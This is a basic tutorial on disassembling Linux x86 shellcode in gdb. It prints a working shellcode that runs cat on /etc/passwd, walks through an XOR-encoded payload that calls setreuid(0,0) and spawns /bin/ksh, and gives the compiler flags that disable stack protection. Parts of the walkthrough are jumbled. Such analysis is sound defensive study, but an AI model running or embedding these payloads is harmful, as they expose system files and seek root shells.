

Linux x86 Reverse Engineering

Basic guide of Shellcode Disassembling

Harsh N. Daftary

**Sr. Security Researcher at CSPF
Security Consultant at Trunkoz Technologies
info@securityLabs.in**

Abstract:--

Most of the Windows as well as Linux based programs contains bugs or security holes and/or errors. These bugs or error in program can be exploited in order to crash the program or make system do unwanted stuff

Exploit usually attacks the program on Memory Corruption, Segmentation Dump, format string, Buffer overflow or something else.

In computer security, a shellcode is a small piece of code used as the payload in the exploitation of a software vulnerability. It is called "shellcode" because it typically starts a command shell from which the attacker can control the compromised machine.

It is just a basic guide, not for l33t reverse engineers :)

Introduction:-

Shellcode are not responsible for exploiting but to create a shell or execute something on victim system after exploiting the bug.

Shellcode can execute almost all the functions that a independent program could. Execution of this code takes place after exploiting vulnerability.(usually)

Importance :

By just looking at shellcode we cannot say what it does, As hackers often uses various shellcodes along with their respective exploits

We just believe what description of shellcode says and are ready to run it but, How can we trust it. It can do many other functions apart from what its description say and it can end up in compromising our own system, or create backdoor for shellcode author

So the reverse Engineering Helps us to to get idea of working of the code.

Basic idea about encryption and x86 structure is required.

General Registers :

32 bits : EAX EBX ECX EDX

16 bits : AX BX CX DX

8 bits : AH AL BH BL CH CL DH

EAX,AX,AH,AL :

Called the Accumulator register.

It is used for I/O port access, arithmetic, interrupt calls.

Segment Registers :

CS DS ES FS GS SS

Segment registers hold the segment address of various items

Index and Pointers:

ESI EDI EBP EIP ESP

indexes and pointer and the offset part of an address. They have various uses but each register has a specific function.

Test System Specification :

Linux Ubuntu 10.04

Intel i3

System Architecture: x86- 32 bit

NASM assembled shellcode

In this paper I would discuss Reverse Engineering of Two programs.

1. Simple program that reads /etc/passwd file
2. XOR encrypted shellcode that launches new shell ksh with setreuid (0,0)

1. Simple program that reads /etc/passwd file

Shellcode: (Download Link given in the end)

```
"\x31\xc0\x99\x52\x68\x2f\x63\x61\x74\x68\x2f\x62\x69\x6e\x89\xe3\x52\x68\x73\x73\x77\x64\x68\x2f\x2f\x70\x61\x68\x2f\x65\x74\x63\x89\xe1\xb0\x0b\x52\x51\x53\x89\xe1\xcd\x80"
```

Now we create a simple program that will execute this code and Compile it using

gcc -fno-stack-protector -z execstack code.c -o shellcode

It will compile our code and program should work without any hindrance.

Lets load our Program into Debugger

Now we set the disassembling structure to intel.

Looking at our source code file we can find that the name of pointer in which we stored our shellcode is "code"

so we create breakpoint at this pointer and run so at point we hit our breakpoint that time we disassemble the program

Debugger Output:

0x0804a040 <+0>: xor eax, eax
 --- > It will xor eax with eax, it is used to make eax register 0

0x0804a042 <+2>: cdq
0x0804a043 <+3>: push edx

0x0804a044 <+4>: push 0x7461632f
0x0804a049 <+9>: push 0x7461632f = tac/
0x0804a04e <+14>: mov ebx, esp

--- > Copies the data stored into esp into ebx

0x0804a050 <+16>: push edx
0x0804a051 <+17>: push 0x64777373
0x0804a056 <+22>: push 0x61702f2f
0x0804a05b <+27>: push 0x6374652f
0x0804a060 <+32>: mov ecx, esp
0x0804a062 <+34>: mov al, 0xb

--- > loads AL register with (0xb)hex

0x0804a064 <+36>: push edx
0x0804a065 <+37>: push ecx
0x0804a066 <+38>: push ebx
0x0804a067 <+39>: mov ecx, esp
 --- > copy data stored in esp into ecx register

0x0804a069 <+41>: int 0x80
 --- > Makes a syscall by interrupt 80

0x0804a06b <+43>: add BYTE PTR [eax], al

So now we have to stop just before execution so we create breakpoint at a place where program makes a syscall i.e. at address: **0x0804a069**

Interrupt 80 makes a syscall with syscall number stored in eax register,

as we can see by code:
print /x \$eax -->> \$eax = 11

We need to find function that will start at syscall number 11

so under **x86** structure we open :
/usr/src/your linux header/arch/x86/include/asm/unistd_32.h

Here this lines of code will xor decrypt all the commands till end with 0x7c and then will jump to 0x804a054
 So now we create breakpoint just after XOR decryption finishes and before it jumps to another memory location for further execution

```
(gdb) break *0x0804a04d
Breakpoint 2 at 0x804a04d
(gdb) c
Continuing.

Breakpoint 2, 0x0804a04d in code ()
(gdb) disassemble
Dump of assembler code for function code:
0x0804a040 <+0>: jmp 0x804a04f <code+15>
0x0804a042 <+2>: pop esi
0x0804a043 <+3>: xor ecx,ecx
0x0804a045 <+5>: mov cl,0x21
0x0804a047 <+7>: xor BYTE PTR [esi],0x7c
0x0804a04a <+10>: inc esi
0x0804a04b <+11>: loop 0x804a047 <code+7>
=> 0x0804a04d <+13>: jmp 0x804a054 <code+20>
0x0804a04f <+15>: call 0x804a042 <code+2>
0x0804a054 <+20>: push 0x46
0x0804a056 <+22>: pop eax
0x0804a057 <+23>: xor ebx,ebx
0x0804a059 <+25>: xor ecx,ecx
0x0804a05b <+27>: int 0x80
0x0804a05d <+29>: xor edx,edx
0x0804a05f <+31>: push 0xb
0x0804a061 <+33>: pop eax
0x0804a062 <+34>: push edx
0x0804a063 <+35>: push 0x68736b2f
0x0804a068 <+40>: push 0x6e69622f
0x0804a06d <+45>: mov ebx,esp
0x0804a06f <+47>: push edx
0x0804a070 <+48>: push ebx
0x0804a071 <+49>: mov ecx,esp
0x0804a073 <+51>: int 0x80
0x0804a075 <+53>: add BYTE PTR [eax],al
End of assembler dump.
(gdb)
```

As we can compare disassembly output to the previous one, we can understand all the instructions after 0x0804a04d are now decrypted So basically XOR decryption is finished, Now we look at EIP +27 we see that Interrupt 80 is being called for syscall so we new create our new breakpoint there

```
linux@c614: ~/Desktop/tpp/ksh
File Edit View Terminal Help
(gdb) break *0x0804a05b
Note: breakpoints 3 and 4 also set at pc 0x804a05b.
Breakpoint 5 at 0x804a05b
(gdb) c
Continuing.

Breakpoint 3, 0x0804a05b in code ()
```

**Just as Before EAX register contains Syscall Number
 EBX and ECX register contains Argument**

```
Continuing.

Breakpoint 3, 0x0804a05b in code ()
(gdb) disassemble
Dump of assembler code for function code:
0x0804a040 <+0>: jmp 0x804a04f <code+15>
0x0804a042 <+2>: pop esi
0x0804a043 <+3>: xor ecx,ecx
0x0804a045 <+5>: mov cl,0x21
0x0804a047 <+7>: xor BYTE PTR [esi],0x7c
0x0804a04a <+10>: inc esi
0x0804a04b <+11>: loop 0x804a047 <code+7>
0x0804a04d <+13>: jmp 0x804a054 <code+20>
0x0804a04f <+15>: call 0x804a042 <code+2>
0x0804a054 <+20>: push 0x46
0x0804a056 <+22>: pop eax
0x0804a057 <+23>: xor ebx,ebx
0x0804a059 <+25>: xor ecx,ecx
=> 0x0804a05b <+27>: int 0x80
0x0804a05d <+29>: xor edx,edx
0x0804a05f <+31>: push 0xb
0x0804a061 <+33>: pop eax
0x0804a062 <+34>: push edx
0x0804a063 <+35>: push 0x68736b2f
0x0804a068 <+40>: push 0x6e69622f
0x0804a06d <+45>: mov ebx,esp
0x0804a06f <+47>: push edx
0x0804a070 <+48>: push ebx
0x0804a071 <+49>: mov ecx,esp
0x0804a073 <+51>: int 0x80
0x0804a075 <+53>: add BYTE PTR [eax],al
End of assembler dump.
(gdb) print $eax
$4 = 70
(gdb) print $ebx
$5 = 0
(gdb) print $ecx
$6 = 0
(gdb)
```

**Syscall Number is 70
 And Arguments are 0,0
 /usr/src/your linux header/arch/x86/include/asm/unistd_32.h**

```
GNU nano 2.2.2 File: ...-2.6.32-21/
#define NR_dup2 63
#define NR_getppid 64
#define NR_getpgrp 65
#define NR_setsid 66
#define NR_sigaction 67
#define NR_sgetmask 68
#define NR_ssetmask 69
#define NR_setreuid 70
#define NR_setregid 71
#define NR_sigsuspend 72
#define NR_sigpending 73
#define NR_sethostname 74
#define NR_setrlimit 75
#define NR_getrlimit 76
#define NR_getrusage 77
#define NR_gettimeofday 78
#define NR_settimeofday 79
#define NR_getgroups 80
#define NR_setgroups 81
```

```

SETREUID(2) Linux Programmer's Manual SETREUID(2)
NAME
  setreuid, setregid - set real and/or effective user or group ID
SYNOPSIS
  #include <sys/types.h>
  #include <unistd.h>

  int setreuid(uid_t ruid, uid_t euid);
  int setregid(gid_t rgid, gid_t egid);

```

So Here 1st argument sets uid and 2nd argument sets gid
 Which in our case both are 0
 Means the program here is trying to get the root access over system.

Now lets create breakpoint where program calls interrupt 80 to make a syscall

```

(gdb) break *0x0804a073
Breakpoint 3 at 0x0804a073
(gdb) c
Continuing.

Breakpoint 3, 0x0804a073 in code ()

```

```

(gdb) disassemble
Dump of assembler code for function code:
0x0804a040 <+0>: jmp 0x0804a04f <code+15>
0x0804a042 <+2>: pop %esi
0x0804a043 <+3>: xor %ecx,%ecx
0x0804a045 <+5>: mov $0x21,%cl
0x0804a047 <+7>: xorb $0x7c,(%esi)
0x0804a04a <+10>: inc %esi
0x0804a04b <+11>: loop 0x0804a047 <code+7>
0x0804a04d <+13>: jmp 0x0804a054 <code+20>
0x0804a04f <+15>: call 0x0804a042 <code+2>
0x0804a054 <+20>: push $0x46
0x0804a056 <+22>: pop %eax
0x0804a057 <+23>: xor %ebx,%ebx
0x0804a059 <+25>: xor %ecx,%ecx
0x0804a05b <+27>: int $0x80
0x0804a05d <+29>: xor %edx,%edx
0x0804a05f <+31>: push $0xb
0x0804a061 <+33>: pop %eax
0x0804a062 <+34>: push %edx
0x0804a063 <+35>: push $0x68736b2f
0x0804a068 <+40>: push $0x6e69622f
0x0804a06d <+45>: mov %esp,%ebx
0x0804a06f <+47>: push %edx
---Type <return> to continue, or q <return> to quit---
0x0804a070 <+48>: push %ebx
0x0804a071 <+49>: mov %esp,%ecx
=> 0x0804a073 <+51>: int $0x80
0x0804a075 <+53>: add %al,(%eax)
End of assembler dump.
(gdb) print $eax
$1 = 11
(gdb) print $ebx
$2 = -1073744896
(gdb) x/s $ebx
0xbffff400: "/bin/ksh"
(gdb) x/s $ecx
0xbffff3f8: ""
(gdb)

```

Here again we Have Syscall Number 11 that is execve function as we saw that last time.

And EBX register contains hex data which we convert into string so we get /bin/ksh

So it means This shellcode is going to first decode it self, then will try open another shell (KSH) located at /bin/ksh with root access

If you find anything missing or have any suggestions feel free to contact me :)

~Regards,
 Harsh
 info@securitylabs.in

PS :

1. Data associated with PUSH can be directly analyzed by converting hex into string, but that data/string will be Right-to-Left.
2. Location of *unistd_32.h* may be different. Using locate function may be helpful in finding it.

This is just basic guide, Next paper will be in more detail.

Reference :

1. Vivek ramchandran.
2. J prassanna and Hiren Shah for providing research platform.

Shellcodes :

1. <http://www.shell-storm.org/shellcode/files/shellcode-809.php>
2. <http://www.shell-storm.org/shellcode/files/shellcode-571.php>